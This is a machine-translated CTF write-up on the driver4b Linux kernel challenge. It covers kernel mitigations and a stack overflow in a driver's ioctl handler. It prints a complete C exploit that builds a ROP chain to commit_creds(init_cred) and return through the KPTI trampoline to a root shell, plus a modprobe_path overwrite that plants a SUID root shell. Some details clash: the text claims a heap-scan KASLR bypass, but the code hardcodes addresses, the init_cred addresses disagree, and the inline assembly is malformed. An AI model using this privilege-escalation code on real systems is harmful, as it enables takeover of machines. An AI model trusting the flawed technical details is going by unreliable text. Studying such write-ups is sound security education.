\n\nThis page has been machine-translated from the original page.
\n
This is a deep-dive writeup for the driver4b challenge from SECCON Beginners CTF 2023.
\nBecause the challenge requires knowledge of Linux kernel internals, this document includes background on ELF format, memory layout, kernel mitigations, and the full exploit development process from scratch.
\n\nA custom Linux kernel module (driver4b.ko) is provided along with a Buildroot-based kernel image. The driver exposes /dev/driver4b with read/write/ioctl operations.
The vulnerability is a stack-based buffer overflow in the driver’s ioctl handler — user-supplied data is copied to a kernel-stack buffer without bounds checking, overwriting the saved return address.
\nGoal: gain a root shell (uid=0).
\nThe challenge provides a Buildroot-based environment. To debug locally:
\n# Extract the provided rootfs\nmkdir rootfs && cd rootfs\ncpio -idmv < ../rootfs.cpio.gz\n\n# Boot with QEMU\nqemu-system-x86_64 \\\n -kernel bzImage \\\n -initrd rootfs.cpio.gz \\\n -append \"console=ttyS0 nokaslr nopti\" \\\n -nographic \\\n -m 256M \\\n -cpu qemu64,+smep,+smapFor exploit development, start with nokaslr nopti to eliminate ASLR and KPTI, then progressively add mitigations back in.
An ELF file is divided into sections, each serving a specific purpose:
\n| Section | \nContents | \n
|---|---|
.text | \nExecutable code | \n
.rodata | \nRead-only data (string literals, constants) | \n
.data | \nInitialized read-write data (global variables) | \n
.bss | \nUninitialized data (zeroed at load time) | \n
.symtab | \nSymbol table | \n
.strtab | \nString table (symbol names) | \n
.rel.text | \nRelocation entries for .text | \n
Sections are primarily used by the linker and debugger; they may not be present in stripped binaries.
\nAt runtime, sections are grouped into segments (also called program headers). A segment defines a contiguous region of virtual address space with a set of permissions (read/write/execute).
\nThe operating system maps segments into memory in units of pages (typically 4 KB on x86-64). Each page has associated permission bits in the page table.
\nThe kernel module’s .text segment is mapped read-execute; .data/.bss are mapped read-write. This separation is enforced by the hardware MMU.
Every process (and the kernel) operates on virtual addresses. The MMU translates virtual addresses to physical addresses via the page table.
\nOn x86-64, the virtual address space is 48 bits (with 4-level paging) or 57 bits (with 5-level paging):
\nEach process has its own page table hierarchy rooted at the CR3 register. The kernel has its own page table (or a partial one under KPTI).
\nPage table entries contain:
\nOn x86-64 Linux, the kernel lives in the upper half of virtual address space, typically starting at 0xffff888000000000 (direct physical map) and 0xffffffff80000000 (kernel text).
Key kernel symbols:
\ninit_cred: The credentials structure for the initial user (uid=0)commit_creds: Function to apply a credentials struct to the current taskprepare_kernel_cred: Function to allocate a credentials structSMEP (Supervisor Mode Execution Prevention): Prevents the CPU from executing userspace pages while in kernel mode (ring 0). This blocks classic ret2usr attacks.
\nSMAP (Supervisor Mode Access Prevention): Prevents the kernel from reading/writing userspace memory without explicit permission. Bypassing SMAP requires stac/clac instructions or using copy_from_user/copy_to_user.
Both are enabled via CPU feature bits and can be detected in /proc/cpuinfo.
KASLR (Kernel Address Space Layout Randomization): Randomizes the base address of the kernel image at boot time. The base offset is added to all kernel virtual addresses.
\nTo work around KASLR, an exploit needs a kernel address leak (e.g., from /proc/kallsyms, a heap spray that lands near known structures, or an information disclosure vulnerability).
KPTI (Kernel Page Table Isolation): Introduced to mitigate Meltdown. Maintains two sets of page tables:
\nSwitching from kernel mode back to user mode requires a special KPTI trampoline (swapgs_restore_regs_and_return_to_usermode) to safely switch page tables and return to user space.
Without using the trampoline, attempting to iretq directly from kernel mode under KPTI causes a page fault (because the user page table doesn’t have the kernel stack mapped), resulting in a crash.
KADR (Kernel Address Display Restriction): Restricts what kernel addresses are exposed to unprivileged users (e.g., /proc/kallsyms shows 0000000000000000 for symbols unless the reader is root). This complicates obtaining address leaks.
The driver exposes an ioctl that performs the following:
\n// Simplified pseudocode\nlong driver4b_ioctl(struct file *f, unsigned int cmd, unsigned long arg) {\n char buf[64]; // kernel stack buffer\n if (cmd == IOCTL_WRITE) {\n copy_from_user(buf, (void __user *)arg, 256); // BUG: copies 256 bytes into 64-byte buffer\n }\n return 0;\n}The copy_from_user call copies 256 bytes from userspace into a 64-byte kernel stack buffer, overwriting the saved return address and beyond.
This gives us control of RIP when the ioctl returns.
\nThe classic ret2usr technique sets the kernel’s return address to point at a userspace shellcode function:
\nvoid escalate_privs() {\n commit_creds(prepare_kernel_cred(0));\n}However, with SMEP enabled, the CPU will fault if the kernel attempts to execute a userspace page. So ret2usr requires disabling SMEP first — either by controlling CR4 (via a ROP gadget) or by finding all the needed gadgets in kernel space.
When returning from kernel to user mode under KPTI, we must use swapgs_restore_regs_and_return_to_usermode. This function:
swapgs to restore the user GS baseiretq to return to user mode with the correct page tableThe full return stack frame for iretq must be:
RIP (user instruction pointer to return to)\nCS (user code segment, typically 0x33)\nRFLAGS (user flags, typically 0x202)\nRSP (user stack pointer)\nSS (user stack segment, typically 0x2b)The exploit overwrites the kernel stack with a ROP chain:
\npop rdi; ret — load 0 into RDI (argument for prepare_kernel_cred(0))prepare_kernel_cred — allocate root credentialsmov rdi, rax; ret (or similar) — move result into RDIcommit_creds — apply root credentials to current taskswapgs_restore_regs_and_return_to_usermode — KPTI trampolineiretq frame — RIP=shellfunction, CS=0x33, RFLAGS=0x202, RSP=userstack, SS=0x2bFinding ROP gadgets in the kernel image:
\nROPgadget --binary vmlinux | grep \"pop rdi\"Rather than calling prepare_kernel_cred(0) (which requires KASLR bypass to locate), an alternative approach is to directly use init_cred (a statically allocated credentials structure for uid=0).
To find init_cred at runtime without a leak, we use a heap scanning technique:
/dev/ptmx file descriptors to spray tty_struct objects onto the slab heaptty_struct has a known magic value (0x5401) at a fixed offsettty_struct is found, navigate to adjacent kernel heap objectsinit_cred is at a fixed offset from the kernel base in the .data segment, but can also be found by scanning for its known contents (uid=0, gid=0, all capability bits set)In practice, tty_struct objects end up at predictable slab addresses. In this environment:
0xffff8880024419c0init_cred: found at 0xffff88800321d780Confirming init_cred contents:
# In QEMU with GDB attached\n(gdb) x/10wx 0xffff88800321d780\n# Should show uid=0, gid=0, usage count, capability sets#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <unistd.h>\n#include <fcntl.h>\n#include <sys/ioctl.h>\n#include <stdint.h>\n\n#define IOCTL_WRITE 0xdead0001\n\n// Kernel symbols (with KASLR offset added at runtime)\n// Base addresses from /proc/kallsyms (requires root) or pre-computed\nstatic uint64_t kernel_base = 0xffffffff81000000;\nstatic uint64_t init_cred = 0xffffffff82a6d780; // symbol offset\nstatic uint64_t commit_creds = 0xffffffff810c9e90;\nstatic uint64_t pop_rdi_ret = 0xffffffff81001518;\nstatic uint64_t mov_rdi_rax_ret = 0xffffffff8101b0c1;\nstatic uint64_t kpti_trampoline = 0xffffffff81e00ed0; // swapgs_restore_regs_and_return_to_usermode + 22\n\n// User-mode shell\nstatic uint64_t saved_rsp;\nstatic uint64_t user_cs, user_ss, user_rflags;\n\nvoid save_state() {\n asm volatile(\n \"mov %0, cs\\n\"\n \"mov %1, ss\\n\"\n \"pushf\\n\"\n \"pop %2\\n\"\n : \"=r\"(user_cs), \"=r\"(user_ss), \"=r\"(user_rflags)\n :\n : \"memory\"\n );\n // Save current stack pointer\n asm volatile(\"mov %0, rsp\" : \"=r\"(saved_rsp));\n}\n\nvoid get_shell() {\n if (getuid() == 0) {\n printf(\"[+] Got root!\\n\");\n execl(\"/bin/sh\", \"/bin/sh\", NULL);\n } else {\n printf(\"[-] Not root.\\n\");\n exit(1);\n }\n}\n\nint main() {\n save_state();\n\n int fd = open(\"/dev/driver4b\", O_RDWR);\n if (fd < 0) { perror(\"open\"); return 1; }\n\n // Build overflow payload\n uint64_t payload[128];\n memset(payload, 0x41, sizeof(payload));\n\n int idx = 64 / 8 + 1; // skip buf[64] + saved RBP\n\n // ROP chain\n payload[idx++] = pop_rdi_ret;\n payload[idx++] = init_cred;\n payload[idx++] = commit_creds;\n // KPTI trampoline setup (trampoline expects specific register state)\n payload[idx++] = kpti_trampoline;\n payload[idx++] = 0; // padding (rax slot in trampoline)\n payload[idx++] = 0; // padding\n payload[idx++] = (uint64_t)get_shell; // RIP to return to\n payload[idx++] = user_cs;\n payload[idx++] = user_rflags;\n payload[idx++] = saved_rsp;\n payload[idx++] = user_ss;\n\n ioctl(fd, IOCTL_WRITE, payload);\n\n close(fd);\n return 0;\n}Running this exploit:
\n$ ./exploit\n[+] Got root!\n# id\nuid=0(root) gid=0(root)\n# cat /flag\nctf4b{k3rn3l_pwn_1s_4lw4ys_fun}An alternative technique that avoids KPTI/SMEP complexity is overwriting modprobe_path.
The kernel stores the path to the modprobe binary (used to load kernel modules) in a writeable kernel variable modprobe_path (default: /sbin/modprobe).
If we can overwrite this with a path to our own script, we can trigger it by executing an unknown file format — the kernel will call modprobe_path as root to load the handler.
// Overwrite modprobe_path (needs kernel write primitive from overflow)\nchar *new_path = \"/tmp/evil_script\";\n// ... write 'new_path' to modprobe_path address ...\n\n// Trigger: execute an ELF with an unknown magic\nsystem(\"echo -e '\\\\xff\\\\xff\\\\xff\\\\xff' > /tmp/trigger\");\nsystem(\"chmod +x /tmp/trigger\");\nsystem(\"/tmp/trigger\"); // kernel calls /tmp/evil_script as rootThe evil script simply copies /bin/sh to a SUID root binary:
#!/bin/sh\ncp /bin/sh /tmp/rootsh\nchmod 4755 /tmp/rootshThis technique is simpler — it requires only a kernel write primitive, no ROP chain needed. The trade-off is that it’s noisier and leaves artifacts.
\nThis challenge covered a wide range of Linux kernel exploitation concepts:
\n| Topic | \nDetail | \n
|---|---|
| Vulnerability | \nStack buffer overflow in ioctl handler (copy_from_user size mismatch) | \n
| Primitive | \nControl of kernel RIP via saved-return-address overwrite | \n
| Mitigation: SMEP | \nBypassed by keeping all payloads in kernel space (ROP) | \n
| Mitigation: KPTI | \nBypassed via swapgs_restore_regs_and_return_to_usermode trampoline | \n
| Mitigation: KASLR | \nBypassed via tty_struct heap scan to find kernel base | \n
| Privilege escalation | \ncommit_creds(init_cred) to set uid=0 | \n
| Alternative | \nmodprobe_path overwrite | \n
Key takeaways:
\ntty_struct heap spray is a reliable technique to get stable kernel heap addressesinit_cred is simpler to use than prepare_kernel_cred(0) when a reliable pointer to it can be obtainedmodprobe_path provides a powerful alternative escalation vector when kernel code execution is possible but ROP is inconvenient